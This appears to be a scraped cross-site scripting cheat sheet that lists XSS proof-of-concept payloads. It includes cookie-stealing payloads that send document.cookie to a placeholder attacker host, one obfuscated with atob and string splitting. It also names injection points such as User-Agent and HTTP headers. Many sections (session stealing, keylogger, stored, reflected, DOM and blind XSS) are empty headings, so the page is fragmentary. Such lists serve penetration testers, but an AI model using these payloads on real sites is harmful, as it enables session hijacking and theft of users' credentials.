Cross-Site Scripting (XSS)
Cross-Site Scripting (XSS)
PoC Payload:
<script>alert('XSS');</script>PoC Payload 2:
<img src=x onerror="document.location='http://ATTACKER_IP:PORT/'"/>Steal cookie XSS Payload:
<img src=x onerror='eval(atob("fetch('http://ATTACKER_IP:PORT/?cookie='+document.cookie)"));' /> <script>var i=new Image();i.src="http://<attacker_ip>:<port>/?c="+document["coo"+"kie"]</script>Payloads: https://github.com/swisskyrepo/PayloadsAllTheThings
Places to inject XSS payloads:
1) User-Agent
2) HTTP Headers
3) Message Forms
Detection methods:
1) Try injecting HTML code instead of JavaScript
2) Make sure everything is escaped so that you can bypass basic defense mechanisms
Example:
3) Use alternative to "alert" payload to test for XSS
Session stealing:
Keylogger:
Change user's email address:
Stored XSS
Test locations:
IMPACT:
Reflected XSS
Test locations:
IMPACT:
DOM Based XSS
Test locations:
IMPACT:
BLIND XSS
Test locations:
POLYGLOT PAYLOAD
Commands
Code
Description
Last updated